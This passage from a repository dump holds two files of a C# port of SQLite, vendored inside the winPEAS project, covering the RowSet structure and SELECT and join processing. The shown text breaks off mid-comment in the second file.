    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/rowset_c.cs",
    "content": "using System.Diagnostics;\nusing i64 = System.Int64;\nusing u8 = System.Byte;\nusing u32 = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using sqlite3_int64 = System.Int64;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2008 December 3\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** This module implements an object we call a \"RowSet\".\n    **\n    ** The RowSet object is a collection of rowids.  Rowids\n    ** are inserted into the RowSet in an arbitrary order.  Inserts\n    ** can be intermixed with tests to see if a given rowid has been\n    ** previously inserted into the RowSet.\n    **\n    ** After all inserts are finished, it is possible to extract the\n    ** elements of the RowSet in sorted order.  Once this extraction\n    ** process has started, no new elements may be inserted.\n    **\n    ** Hence, the primitive operations for a RowSet are:\n    **\n    **    CREATE\n    **    INSERT\n    **    TEST\n    **    SMALLEST\n    **    DESTROY\n    **\n    ** The CREATE and DESTROY primitives are the constructor and destructor,\n    ** obviously.  The INSERT primitive adds a new element to the RowSet.\n    ** TEST checks to see if an element is already in the RowSet.  SMALLEST\n    ** extracts the least value from the RowSet.\n    **\n    ** The INSERT primitive might allocate additional memory.  Memory is\n    ** allocated in chunks so most INSERTs do no allocation.  There is an\n    ** upper bound on the size of allocated memory.  No memory is freed\n    ** until DESTROY.\n    **\n    ** The TEST primitive includes a \"batch\" number.  The TEST primitive\n    ** will only see elements that were inserted before the last change\n    ** in the batch number.  In other words, if an INSERT occurs between\n    ** two TESTs where the TESTs have the same batch nubmer, then the\n    ** value added by the INSERT will not be visible to the second TEST.\n    ** The initial batch number is zero, so if the very first TEST contains\n    ** a non-zero batch number, it will see all prior INSERTs.\n    **\n    ** No INSERTs may occurs after a SMALLEST.  An assertion will fail if\n    ** that is attempted.\n    **\n    ** The cost of an INSERT is roughly constant.  (Sometime new memory\n    ** has to be allocated on an INSERT.)  The cost of a TEST with a new\n    ** batch number is O(NlogN) where N is the number of elements in the RowSet.\n    ** The cost of a TEST using the same batch number is O(logN).  The cost\n    ** of the first SMALLEST is O(NlogN).  Second and subsequent SMALLEST\n    ** primitives are constant time.  The cost of DESTROY is O(N).\n    **\n    ** There is an added cost of O(N) when switching between TEST and\n    ** SMALLEST primitives.\n    **\n    **\n    ** $Id: rowset.c,v 1.7 2009/05/22 01:00:13 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n    /*\n    ** Target size for allocation chunks.\n    */\n    //#define ROWSET_ALLOCATION_SIZE 1024\n    const int ROWSET_ALLOCATION_SIZE = 1024;\n    /*\n    ** The number of rowset entries per allocation chunk.\n    */\n    //#define ROWSET_ENTRY_PER_CHUNK  \\\n    //                     ((ROWSET_ALLOCATION_SIZE-8)/sizeof(struct RowSetEntry))\n    const int ROWSET_ENTRY_PER_CHUNK = 63;\n\n    /*\n    ** Each entry in a RowSet is an instance of the following object.\n    */\n    public class RowSetEntry\n    {\n      public i64 v;                /* ROWID value for this entry */\n      public RowSetEntry pRight;   /* Right subtree (larger entries) or list */\n      public RowSetEntry pLeft;    /* Left subtree (smaller entries) */\n    };\n\n    /*\n    ** Index entries are allocated in large chunks (instances of the\n    ** following structure) to reduce memory allocation overhead.  The\n    ** chunks are kept on a linked list so that they can be deallocated\n    ** when the RowSet is destroyed.\n    */\n    public class RowSetChunk\n    {\n      public RowSetChunk pNextChunk;             /* Next chunk on list of them all */\n      public RowSetEntry[] aEntry = new RowSetEntry[ROWSET_ENTRY_PER_CHUNK]; /* Allocated entries */\n    };\n\n    /*\n    ** A RowSet in an instance of the following structure.\n    **\n    ** A typedef of this structure if found in sqliteInt.h.\n    */\n    public class RowSet\n    {\n      public RowSetChunk pChunk;            /* List of all chunk allocations */\n      public sqlite3 db;                    /* The database connection */\n      public RowSetEntry pEntry;            /* /* List of entries using pRight */\n      public RowSetEntry pLast;             /* Last entry on the pEntry list */\n      public RowSetEntry[] pFresh;          /* Source of new entry objects */\n      public RowSetEntry pTree;             /* Binary tree of entries */\n      public int nFresh;                    /* Number of objects on pFresh */\n      public bool isSorted;                 /* True if pEntry is sorted */\n      public u8 iBatch;                     /* Current insert batch */\n\n      public RowSet( sqlite3 db, int N )\n      {\n        this.pChunk = null;\n        this.db = db;\n        this.pEntry = null;\n        this.pLast = null;\n        this.pFresh = new RowSetEntry[N];\n        this.pTree = null;\n        this.nFresh = N;\n        this.isSorted = true;\n        this.iBatch = 0;\n      }\n    };\n\n    /*\n    ** Turn bulk memory into a RowSet object.  N bytes of memory\n    ** are available at pSpace.  The db pointer is used as a memory context\n    ** for any subsequent allocations that need to occur.\n    ** Return a pointer to the new RowSet object.\n    **\n    ** It must be the case that N is sufficient to make a Rowset.  If not\n    ** an assertion fault occurs.\n    **\n    ** If N is larger than the minimum, use the surplus as an initial\n    ** allocation of entries available to be filled.\n    */\n    static RowSet sqlite3RowSetInit( sqlite3 db, object pSpace, u32 N )\n    {\n      RowSet p = new RowSet( db, (int)N );\n      //Debug.Assert(N >= ROUND8(sizeof(*p)) );\n      //  p = pSpace;\n      //  p.pChunk = 0;\n      //  p.db = db;\n      //  p.pEntry = 0;\n      //  p.pLast = 0;\n      //  p.pTree = 0;\n      //  p.pFresh =(struct RowSetEntry*)(ROUND8(sizeof(*p)) + (char*)p);\n      //  p.nFresh = (u16)((N - ROUND8(sizeof(*p)))/sizeof(struct RowSetEntry));\n      //  p.isSorted = 1;\n      //  p.iBatch = 0;\n      return p;\n    }\n\n    /*\n    ** Deallocate all chunks from a RowSet.  This frees all memory that\n    ** the RowSet has allocated over its lifetime.  This routine is\n    ** the destructor for the RowSet.\n    */\n    static void sqlite3RowSetClear( RowSet p )\n    {\n      RowSetChunk pChunk, pNextChunk;\n      for ( pChunk = p.pChunk ; pChunk != null ; pChunk = pNextChunk )\n      {\n        pNextChunk = pChunk.pNextChunk;\n        //sqlite3DbFree( p.db, ref pChunk );\n      }\n      p.pChunk = null;\n      p.nFresh = 0;\n      p.pEntry = null;\n      p.pLast = null;\n      p.pTree = null;\n      p.isSorted = true;\n    }\n\n    /*\n    ** Insert a new value into a RowSet.\n    **\n    ** The mallocFailed flag of the database connection is set if a\n    ** memory allocation fails.\n    */\n    static void sqlite3RowSetInsert( RowSet p, i64 rowid )\n    {\n      RowSetEntry pEntry;       /* The new entry */\n      RowSetEntry pLast;        /* The last prior entry */\n      Debug.Assert( p != null );\n      if ( p.nFresh == 0 )\n      {\n        RowSetChunk pNew;\n        pNew = new RowSetChunk();//sqlite3DbMallocRaw(p.db, sizeof(*pNew));\n        if ( pNew == null )\n        {\n          return;\n        }\n        pNew.pNextChunk = p.pChunk;\n        p.pChunk = pNew;\n        p.pFresh = pNew.aEntry;\n        p.nFresh = ROWSET_ENTRY_PER_CHUNK;\n      }\n      p.pFresh[p.pFresh.Length - p.nFresh] = new RowSetEntry();\n      pEntry = p.pFresh[p.pFresh.Length - p.nFresh];\n      p.nFresh--;\n      pEntry.v = rowid;\n      pEntry.pRight = null;\n      pLast = p.pLast;\n      if ( pLast != null )\n      {\n        if ( p.isSorted && rowid <= pLast.v )\n        {\n          p.isSorted = false;\n        }\n        pLast.pRight = pEntry;\n      }\n      else\n      {\n        Debug.Assert( p.pEntry == null );/* Fires if INSERT after SMALLEST */\n        p.pEntry = pEntry;\n      }\n      p.pLast = pEntry;\n    }\n\n    /*\n    ** Merge two lists of RowSetEntry objects.  Remove duplicates.\n    **\n    ** The input lists are connected via pRight pointers and are\n    ** assumed to each already be in sorted order.\n    */\n    static RowSetEntry rowSetMerge(\n    RowSetEntry pA,    /* First sorted list to be merged */\n    RowSetEntry pB     /* Second sorted list to be merged */\n    )\n    {\n      RowSetEntry head = new RowSetEntry();\n      RowSetEntry pTail;\n\n      pTail = head;\n      while ( pA != null && pB != null )\n      {\n        Debug.Assert( pA.pRight == null || pA.v <= pA.pRight.v );\n        Debug.Assert( pB.pRight == null || pB.v <= pB.pRight.v );\n        if ( pA.v < pB.v )\n        {\n          pTail.pRight = pA;\n          pA = pA.pRight;\n          pTail = pTail.pRight;\n        }\n        else if ( pB.v < pA.v )\n        {\n          pTail.pRight = pB;\n          pB = pB.pRight;\n          pTail = pTail.pRight;\n        }\n        else\n        {\n          pA = pA.pRight;\n        }\n      }\n      if ( pA != null )\n      {\n        Debug.Assert( pA.pRight == null || pA.v <= pA.pRight.v );\n        pTail.pRight = pA;\n      }\n      else\n      {\n        Debug.Assert( pB == null || pB.pRight == null || pB.v <= pB.pRight.v );\n        pTail.pRight = pB;\n      }\n      return head.pRight;\n    }\n\n    /*\n    ** Sort all elements on the pEntry list of the RowSet into ascending order.\n    */\n    static void rowSetSort( RowSet p )\n    {\n      u32 i;\n      RowSetEntry pEntry;\n      RowSetEntry[] aBucket = new RowSetEntry[40];\n\n      Debug.Assert( p.isSorted == false );\n      //memset(aBucket, 0, sizeof(aBucket));\n      while ( p.pEntry != null )\n      {\n        pEntry = p.pEntry;\n        p.pEntry = pEntry.pRight;\n        pEntry.pRight = null;\n        for ( i = 0 ; aBucket[i] != null ; i++ )\n        {\n          pEntry = rowSetMerge( aBucket[i], pEntry );\n          aBucket[i] = null;\n        }\n        aBucket[i] = pEntry;\n      }\n      pEntry = null;\n      for ( i = 0 ; i < aBucket.Length ; i++ )//sizeof(aBucket)/sizeof(aBucket[0])\n      {\n        pEntry = rowSetMerge( pEntry, aBucket[i] );\n      }\n      p.pEntry = pEntry;\n      p.pLast = null;\n      p.isSorted = true;\n    }\n\n    /*\n    ** The input, pIn, is a binary tree (or subtree) of RowSetEntry objects.\n    ** Convert this tree into a linked list connected by the pRight pointers\n    ** and return pointers to the first and last elements of the new list.\n    */\n    static void rowSetTreeToList(\n    RowSetEntry pIn,            /* Root of the input tree */\n    ref RowSetEntry ppFirst,    /* Write head of the output list here */\n    ref RowSetEntry ppLast      /* Write tail of the output list here */\n    )\n    {\n      Debug.Assert( pIn != null );\n      if ( pIn.pLeft != null )\n      {\n        RowSetEntry p = new RowSetEntry();\n        rowSetTreeToList( pIn.pLeft, ref  ppFirst, ref  p );\n        p.pRight = pIn;\n      }\n      else\n      {\n        ppFirst = pIn;\n      }\n      if ( pIn.pRight != null )\n      {\n        rowSetTreeToList( pIn.pRight, ref  pIn.pRight, ref   ppLast );\n      }\n      else\n      {\n        ppLast = pIn;\n      }\n      Debug.Assert( ( ppLast ).pRight == null );\n    }\n\n\n    /*\n    ** Convert a sorted list of elements (connected by pRight) into a binary\n    ** tree with depth of iDepth.  A depth of 1 means the tree contains a single\n    ** node taken from the head of *ppList.  A depth of 2 means a tree with\n    ** three nodes.  And so forth.\n    **\n    ** Use as many entries from the input list as required and update the\n    ** *ppList to point to the unused elements of the list.  If the input\n    ** list contains too few elements, then construct an incomplete tree\n    ** and leave *ppList set to NULL.\n    **\n    ** Return a pointer to the root of the constructed binary tree.\n    */\n    static RowSetEntry rowSetNDeepTree(\n    ref RowSetEntry ppList,\n    int iDepth\n    )\n    {\n      RowSetEntry p;         /* Root of the new tree */\n      RowSetEntry pLeft;     /* Left subtree */\n      if ( ppList == null )\n      {\n        return null;\n      }\n      if ( iDepth == 1 )\n      {\n        p = ppList;\n        ppList = p.pRight;\n        p.pLeft = p.pRight = null;\n        return p;\n      }\n      pLeft = rowSetNDeepTree( ref ppList, iDepth - 1 );\n      p = ppList;\n      if ( p == null )\n      {\n        return pLeft;\n      }\n      p.pLeft = pLeft;\n      ppList = p.pRight;\n      p.pRight = rowSetNDeepTree( ref ppList, iDepth - 1 );\n      return p;\n    }\n\n    /*\n    ** Convert a sorted list of elements into a binary tree. Make the tree\n    ** as deep as it needs to be in order to contain the entire list.\n    */\n    static RowSetEntry rowSetListToTree( RowSetEntry pList )\n    {\n      int iDepth;          /* Depth of the tree so far */\n      RowSetEntry p;       /* Current tree root */\n      RowSetEntry pLeft;   /* Left subtree */\n\n      Debug.Assert( pList != null );\n      p = pList;\n      pList = p.pRight;\n      p.pLeft = p.pRight = null;\n      for ( iDepth = 1 ; pList != null ; iDepth++ )\n      {\n        pLeft = p;\n        p = pList;\n        pList = p.pRight;\n        p.pLeft = pLeft;\n        p.pRight = rowSetNDeepTree( ref pList, iDepth );\n      }\n      return p;\n    }\n\n    /*\n    ** Convert the list in p.pEntry into a sorted list if it is not\n    ** sorted already.  If there is a binary tree on p.pTree, then\n    ** convert it into a list too and merge it into the p.pEntry list.\n    */\n    static void rowSetToList( RowSet p )\n    {\n      if ( !p.isSorted )\n      {\n        rowSetSort( p );\n      }\n      if ( p.pTree != null )\n      {\n        RowSetEntry pHead = new RowSetEntry(), pTail = new RowSetEntry();\n        rowSetTreeToList( p.pTree, ref  pHead, ref  pTail );\n        p.pTree = null;\n        p.pEntry = rowSetMerge( p.pEntry, pHead );\n      }\n    }\n\n    /*\n    ** Extract the smallest element from the RowSet.\n    ** Write the element into *pRowid.  Return 1 on success.  Return\n    ** 0 if the RowSet is already empty.\n    **\n    ** After this routine has been called, the sqlite3RowSetInsert()\n    ** routine may not be called again.\n    */\n    static int sqlite3RowSetNext( RowSet p, ref i64 pRowid )\n    {\n      rowSetToList( p );\n      if ( p.pEntry != null )\n      {\n        pRowid = p.pEntry.v;\n        p.pEntry = p.pEntry.pRight;\n        if ( p.pEntry == null )\n        {\n          sqlite3RowSetClear( p );\n        }\n        return 1;\n      }\n      else\n      {\n        return 0;\n      }\n    }\n\n    /*\n    ** Check to see if element iRowid was inserted into the the rowset as\n    ** part of any insert batch prior to iBatch.  Return 1 or 0.\n    */\n    static int sqlite3RowSetTest( RowSet pRowSet, u8 iBatch, sqlite3_int64 iRowid )\n    {\n      RowSetEntry p;\n      if ( iBatch != pRowSet.iBatch )\n      {\n        if ( pRowSet.pEntry != null )\n        {\n          rowSetToList( pRowSet );\n          pRowSet.pTree = rowSetListToTree( pRowSet.pEntry );\n          pRowSet.pEntry = null;\n          pRowSet.pLast = null;\n        }\n        pRowSet.iBatch = iBatch;\n      }\n      p = pRowSet.pTree;\n      while ( p != null )\n      {\n        if ( p.v < iRowid )\n        {\n          p = p.pRight;\n        }\n        else if ( p.v > iRowid )\n        {\n          p = p.pLeft;\n        }\n        else\n        {\n          return 1;\n        }\n      }\n      return 0;\n    }\n\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/select_c.cs",
    "content": "#define SQLITE_MAX_EXPR_DEPTH\n\nusing System;\nusing System.Diagnostics;\nusing i16 = System.Int16;\nusing u8 = System.Byte;\nusing u16 = System.UInt16;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains C code routines that are called by the parser\n    ** to handle SELECT statements in SQLite.\n    **\n    ** $Id: select.c,v 1.526 2009/08/01 15:09:58 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n\n    /*\n    ** Delete all the content of a Select structure but do not deallocate\n    ** the select structure itself.\n    */\n    static void clearSelect( sqlite3 db, Select p )\n    {\n      sqlite3ExprListDelete( db, ref p.pEList );\n      sqlite3SrcListDelete( db, ref p.pSrc );\n      sqlite3ExprDelete( db, ref p.pWhere );\n      sqlite3ExprListDelete( db, ref p.pGroupBy );\n      sqlite3ExprDelete( db, ref p.pHaving );\n      sqlite3ExprListDelete( db, ref p.pOrderBy );\n      sqlite3SelectDelete( db, ref p.pPrior );\n      sqlite3ExprDelete( db, ref p.pLimit );\n      sqlite3ExprDelete( db, ref p.pOffset );\n    }\n\n    /*\n    ** Initialize a SelectDest structure.\n    */\n    static void sqlite3SelectDestInit( SelectDest pDest, int eDest, int iParm )\n    {\n      pDest.eDest = (u8)eDest;\n      pDest.iParm = iParm;\n      pDest.affinity = '\\0';\n      pDest.iMem = 0;\n      pDest.nMem = 0;\n    }\n\n\n    /*\n    ** Allocate a new Select structure and return a pointer to that\n    ** structure.\n    */\n    // OVERLOADS, so I don't need to rewrite parse.c\n    static Select sqlite3SelectNew( Parse pParse, int null_2, SrcList pSrc, int null_4, int null_5, int null_6, int null_7, int isDistinct, int null_9, int null_10 )\n    {\n      return sqlite3SelectNew( pParse, null, pSrc, null, null, null, null, isDistinct, null, null );\n    }\n    static Select sqlite3SelectNew(\n    Parse pParse,        /* Parsing context */\n    ExprList pEList,     /* which columns to include in the result */\n    SrcList pSrc,        /* the FROM clause -- which tables to scan */\n    Expr pWhere,         /* the WHERE clause */\n    ExprList pGroupBy,   /* the GROUP BY clause */\n    Expr pHaving,        /* the HAVING clause */\n    ExprList pOrderBy,   /* the ORDER BY clause */\n    int isDistinct,       /* true if the DISTINCT keyword is present */\n    Expr pLimit,         /* LIMIT value.  NULL means not used */\n    Expr pOffset         /* OFFSET value.  NULL means no offset */\n    )\n    {\n      Select pNew;\n      //           Select standin;\n      sqlite3 db = pParse.db;\n      pNew = new Select();//sqlite3DbMallocZero(db, sizeof(*pNew) );\n      Debug.Assert( //db.mallocFailed != 0 ||\n        null == pOffset || pLimit != null ); /* OFFSET implies LIMIT */\n      //if( pNew==null   ){\n      //  pNew = standin;\n      //  memset(pNew, 0, sizeof(*pNew));\n      //}\n      if ( pEList == null )\n      {\n        pEList = sqlite3ExprListAppend( pParse, null, sqlite3Expr( db, TK_ALL, null ) );\n      }\n      pNew.pEList = pEList;\n      pNew.pSrc = pSrc;\n      pNew.pWhere = pWhere;\n      pNew.pGroupBy = pGroupBy;\n      pNew.pHaving = pHaving;\n      pNew.pOrderBy = pOrderBy;\n      pNew.selFlags = (u16)( isDistinct != 0 ? SF_Distinct : 0 );\n      pNew.op = TK_SELECT;\n      pNew.pLimit = pLimit;\n      pNew.pOffset = pOffset;\n      Debug.Assert( pOffset == null || pLimit != null );\n      pNew.addrOpenEphm[0] = -1;\n      pNew.addrOpenEphm[1] = -1;\n      pNew.addrOpenEphm[2] = -1;\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  clearSelect( db, pNew );\n      //  //if ( pNew != standin ) //sqlite3DbFree( db, ref pNew );\n      //  pNew = null;\n      //}\n      return pNew;\n    }\n\n    /*\n    ** Delete the given Select structure and all of its substructures.\n    */\n    static void sqlite3SelectDelete( sqlite3 db, ref Select p )\n    {\n      if ( p != null )\n      {\n        clearSelect( db, p );\n        //sqlite3DbFree( db, ref p );\n      }\n    }\n\n    /*\n    ** Given 1 to 3 identifiers preceeding the JOIN keyword, determine the\n    ** type of join.  Return an integer constant that expresses that type\n    ** in terms of the following bit values:\n    **\n    **     JT_INNER\n    **     JT_CROSS\n    **     JT_OUTER\n    **     JT_NATURAL\n    **     JT_LEFT\n    **     JT_RIGHT\n    **\n    ** A full outer join is the combination of JT_LEFT and JT_RIGHT.\n    **\n    ** If an illegal or unsupported join type is seen, then still return\n    ** a join type, but put an error in the pParse structure.\n    */\n\n    class Keyword\n    {\n      public u8 i;        /* Beginning of keyword text in zKeyText[] */\n      public u8 nChar;    /* Length of the keyword in characters */\n      public u8 code;     /* Join type mask */\n      public Keyword( u8 i, u8 nChar, u8 code )\n      {\n        this.i = i;\n        this.nChar = nChar;\n        this.code = code;\n      }\n    }\n\n    // OVERLOADS, so I don't need to rewrite parse.c\n    static int sqlite3JoinType( Parse pParse, Token pA, int null_3, int null_4 )\n    {\n      return sqlite3JoinType( pParse, pA, null, null );\n    }\n    static int sqlite3JoinType( Parse pParse, Token pA, Token pB, int null_4 )\n    {\n      return sqlite3JoinType( pParse, pA, pB, null );\n    }\n    static int sqlite3JoinType( Parse pParse, Token pA, Token pB, Token pC )\n    {\n      int jointype = 0;\n      Token[] apAll = new Token[3];\n      Token p;\n\n      /*   0123456789 123456789 123456789 123 */\n      string zKeyText = \"naturaleftouterightfullinnercross\";\n\n      Keyword[] aKeyword = new Keyword[]{\n/* natural */ new Keyword( 0,  7, JT_NATURAL                ),\n/* left    */ new Keyword( 6,  4, JT_LEFT|JT_OUTER          ),\n/* outer   */ new Keyword( 10, 5, JT_OUTER                  ),\n/* right   */ new Keyword( 14, 5, JT_RIGHT|JT_OUTER         ),\n/* full    */ new Keyword( 19, 4, JT_LEFT|JT_RIGHT|JT_OUTER ),\n/* inner   */ new Keyword( 23, 5, JT_INNER                  ),\n/* cross   */ new Keyword( 28, 5, JT_INNER|JT_CROSS         ),\n};\n      int i, j;\n      apAll[0] = pA;\n      apAll[1] = pB;\n      apAll[2] = pC;\n      for ( i = 0 ; i < 3 && apAll[i] != null ; i++ )\n      {\n        p = apAll[i];\n        for ( j = 0 ; j < ArraySize( aKeyword ) ; j++ )\n        {\n          if ( p.n == aKeyword[j].nChar\n          && sqlite3StrNICmp( p.z.ToString(), zKeyText.Substring( aKeyword[j].i ), p.n ) == 0 )\n          {\n            jointype |= aKeyword[j].code;\n            break;\n          }\n        }\n        testcase( j == 0 || j == 1 || j == 2 || j == 3 || j == 4 || j == 5 || j == 6 );\n        if ( j >= ArraySize( aKeyword ) )\n        {\n          jointype |= JT_ERROR;\n          break;\n        }\n      }\n      if (\n      ( jointype & ( JT_INNER | JT_OUTER ) ) == ( JT_INNER | JT_OUTER ) ||\n      ( jointype & JT_ERROR ) != 0\n      )\n      {\n        string zSp = \" \";\n        Debug.Assert( pB != null );\n        if ( pC == null ) { zSp = \"\"; }\n        sqlite3ErrorMsg( pParse, \"unknown or unsupported join type: \" +\n        \"%T %T%s%T\", pA, pB, zSp, pC );\n        jointype = JT_INNER;\n      }\n      else if ( ( jointype & JT_OUTER ) != 0\n      && ( jointype & ( JT_LEFT | JT_RIGHT ) ) != JT_LEFT )\n      {\n        sqlite3ErrorMsg( pParse,\n        \"RIGHT and FULL OUTER JOINs are not currently supported\" );\n        jointype = JT_INNER;\n      }\n      return jointype;\n    }\n\n    /*\n    ** Return the index of a column in a table.  Return -1 if the column\n    ** is not contained in the table.\n    */\n    static int columnIndex( Table pTab, string zCol )\n    {\n      int i;\n      for ( i = 0 ; i < pTab.nCol ; i++ )\n      {\n        if ( sqlite3StrICmp( pTab.aCol[i].zName, zCol ) == 0 ) return i;\n      }\n      return -1;\n    }\n\n\n    /*\n    ** Create an expression node for an identifier with the name of zName\n    */\n    static Expr sqlite3CreateIdExpr( Parse pParse, string zName )\n    {\n      return sqlite3Expr( pParse.db, TK_ID, zName );\n    }\n\n\n    /*\n    ** Add a term to the WHERE expression in ppExpr that requires the\n    ** zCol column to be equal in the two tables pTab1 and pTab2.\n    */\n    static void addWhereTerm(\n    Parse pParse,         /* Parsing context */\n    string zCol,          /* Name of the column */\n    Table pTab1,          /* First table */\n    string zAlias1,       /* Alias for first table.  May be NULL */\n    Table pTab2,          /* Second table */\n    string zAlias2,       /* Alias for second table.  May be NULL */\n    int iRightJoinTable,  /* VDBE cursor for the right table */\n    ref Expr ppExpr,      /* Add the equality term to this expression */\n    bool isOuterJoin      /* True if dealing with an OUTER join */\n    )\n    {\n      Expr pE1a, pE1b, pE1c;\n      Expr pE2a, pE2b, pE2c;\n      Expr pE;\n\n      pE1a = sqlite3CreateIdExpr( pParse, zCol );\n      pE2a = sqlite3CreateIdExpr( pParse, zCol );\n      if ( zAlias1 == null )\n      {\n        zAlias1 = pTab1.zName;\n      }\n      pE1b = sqlite3CreateIdExpr( pParse, zAlias1 );\n      if ( zAlias2 == null )\n      {\n        zAlias2 = pTab2.zName;\n      }\n      pE2b = sqlite3CreateIdExpr( pParse, zAlias2 );\n      pE1c = sqlite3PExpr( pParse, TK_DOT, pE1b, pE1a, null );\n      pE2c = sqlite3PExpr( pParse, TK_DOT, pE2b, pE2a, null );\n      pE = sqlite3PExpr( pParse, TK_EQ, pE1c, pE2c, null );\n      if ( pE != null && isOuterJoin )\n      {\n        ExprSetProperty( pE, EP_FromJoin );\n        Debug.Assert( !ExprHasAnyProperty( pE, EP_TokenOnly | EP_Reduced ) );\n        ExprSetIrreducible( pE );\n        pE.iRightJoinTable = (i16)iRightJoinTable;\n      }\n      ppExpr = sqlite3ExprAnd( pParse.db, ppExpr, pE );\n    }\n\n    /*\n    ** Set the EP_FromJoin property on all terms of the given expression.\n    ** And set the Expr.iRightJoinTable to iTable for every term in the\n    ** expression.\n    **\n    ** The EP_FromJoin property is used on terms of an expression to tell\n    ** the LEFT OUTER JOIN processing logic that this term is part of the\n    ** join restriction specified in the ON or USING clause and not a part\n    ** of the more general WHERE clause.  These terms are moved over to the\n    ** WHERE clause during join processing but we need to remember that they\n    ** originated in the ON or USING clause.\n    **\n    ** The Expr.iRightJoinTable tells the WHERE clause processing that the\n    ** expression depends on table iRightJoinTable even if that table is not\n    ** explicitly mentioned in the expression.  That information is needed\n    ** for cases like this:\n    **\n    **    SELECT * FROM t1 LEFT JOIN t2 ON t1.a=t2.b AND t1.x=5\n    **\n    ** The where clause needs to defer the handling of the t1.x=5\n    ** term until after the t2 loop of the join.  In that way, a\n    ** NULL t2 row will be inserted whenever t1.x!=5.  If we do not\n    ** defer the handling of t1.x=5, it will be processed immediately\n    ** after the t1 loop and rows with t1.x!=5 will never appear in\n    ** the output, which is incorrect.\n    */\n    static void setJoinExpr( Expr p, int iTable )\n    {\n      while ( p != null )\n      {\n        ExprSetProperty( p, EP_FromJoin );\n        Debug.Assert( !ExprHasAnyProperty( p, EP_TokenOnly | EP_Reduced ) );\n        ExprSetIrreducible( p );\n        p.iRightJoinTable = (i16)iTable;\n        setJoinExpr( p.pLeft, iTable );\n        p = p.pRight;\n      }\n    }\n\n    /*\n    ** This routine processes the join information for a SELECT statement.\n    ** ON and USING clauses are converted into extra terms of the WHERE clause.\n    ** NATURAL joins also create extra WHERE clause terms.\n    **\n    ** The terms of a FROM clause are contained in the Select.pSrc structure.\n    ** The left most table is the first entry in Select.pSrc.  The right-most\n    ** table is the last entry.  The join operator is held in the entry to\n    ** the left.  Thus entry 0 contains the join operator for the join between\n    ** entries 0 and 1.  Any ON or USING clauses associated with the join are\n    ** also attached to the left entry.\n    **\n    ** This routine returns the number of errors encountered.\n    */\n    static int sqliteProcessJoin( Parse pParse, Select p )\n    {\n      SrcList pSrc;                  /* All tables in the FROM clause */\n      int i; int j;                       /* Loop counters */\n      SrcList_item pLeft;     /* Left table being joined */\n      SrcList_item pRight;    /* Right table being joined */\n\n      pSrc = p.pSrc;\n      //pLeft = pSrc.a[0];\n      //pRight = pLeft[1];\n      for ( i = 0 ; i < pSrc.nSrc - 1 ; i++ )\n      {\n        pLeft = pSrc.a[i]; // pLeft ++\n        pRight = pSrc.a[i + 1];//Right++,\n        Table pLeftTab = pLeft.pTab;\n        Table pRightTab = pRight.pTab;\n        bool isOuter;\n\n        if ( NEVER( pLeftTab == null || pRightTab == null ) ) continue;\n        isOuter = ( pRight.jointype & JT_OUTER ) != 0;\n\n        /* When the NATURAL keyword is present, add WHERE clause terms for\n        ** every column that the two tables have in common.\n        */\n        if ( ( pRight.jointype & JT_NATURAL ) != 0 )\n        {\n          if ( pRight.pOn != null || pRight.pUsing != null )\n          {\n            sqlite3ErrorMsg( pParse, \"a NATURAL join may not have \" +\n            \"an ON or USING clause\", \"\" );\n            return 1;\n          }\n          for ( j = 0 ; j < pLeftTab.nCol ; j++ )\n          {\n            string zName = pLeftTab.aCol[j].zName;\n            if ( columnIndex( pRightTab, zName ) >= 0 )\n            {\n              addWhereTerm( pParse, zName, pLeftTab, pLeft.zAlias,\n              pRightTab, pRight.zAlias,\n              pRight.iCursor, ref p.pWhere, isOuter );\n\n            }\n          }\n        }\n\n        /* Disallow both ON and USING clauses in the same join\n        */\n        if ( pRight.pOn != null && pRight.pUsing != null )\n        {\n          sqlite3ErrorMsg( pParse, \"cannot have both ON and USING \" +\n          \"clauses in the same join\" );\n          return 1;\n        }\n\n        /* Add the ON clause to the end of the WHERE clause, connected by\n        ** an AND operator.\n        */\n        if ( pRight.pOn != null )\n        {\n          if ( isOuter ) setJoinExpr( pRight.pOn, pRight.iCursor );\n          p.pWhere = sqlite3ExprAnd( pParse.db, p.pWhere, pRight.pOn );\n          pRight.pOn = null;\n        }\n\n        /* Create extra terms on the WHERE clause for each column named\n        ** in the USING clause.  Example: If the two tables to be joined are\n        ** A and B and the USING clause names X, Y, and Z, then add this\n        ** to the WHERE clause:    A.X=B.X AND A.Y=B.Y AND A.Z=B.Z\n        ** Report an error if any column mentioned in the USING clause is\n        ** not contained in both tables to be joined.\n        */\n        if ( pRight.pUsing != null )\n        {\n          IdList pList = pRight.pUsing;\n          for ( j = 0 ; j < pList.nId ; j++ )\n          {\n            string zName = pList.a[j].zName;\n            if ( columnIndex( pLeftTab, zName ) < 0 || columnIndex( pRightTab, zName ) < 0 )\n            {\n              sqlite3ErrorMsg( pParse, \"cannot join using column %s - column \" +\n              \"not present in both tables\", zName );\n              return 1;\n            }\n            addWhereTerm( pParse, zName, pLeftTab, pLeft.zAlias,\n            pRightTab, pRight.zAlias,\n            pRight.iCursor, ref p.pWhere, isOuter );\n          }\n        }\n      }\n      return 0;\n    }\n\n    /*\n    ** Insert code into \"v\" that will push the record on the top of the\n    ** stack into the sorter.\n  